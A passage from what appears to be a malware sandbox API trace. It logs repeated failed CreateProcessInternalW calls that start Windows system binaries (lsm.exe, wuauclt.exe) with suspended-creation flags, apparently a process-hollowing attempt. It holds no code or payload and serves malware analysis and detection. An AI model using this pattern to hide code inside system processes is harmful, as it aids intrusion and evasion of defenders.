dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.354] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.354] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.354] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.354] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.354] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.355] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.355] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.355] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.355] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.355] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.355] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.355] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.355] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.355] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.355] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.355] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.355] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.355] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.356] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.356] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.356] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.356] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.356] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.356] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.356] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.356] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.356] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\lsm.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.591] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.591] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.591] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.591] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.591] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x26ef30, hNewToken=0x0 | out: lpProcessInformation=0x26ef30*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0), hNewToken=0x0) returned 0 [0081.591] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Windows\\SysWOW64\\wuauclt.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x800000c, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x26ef58*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, 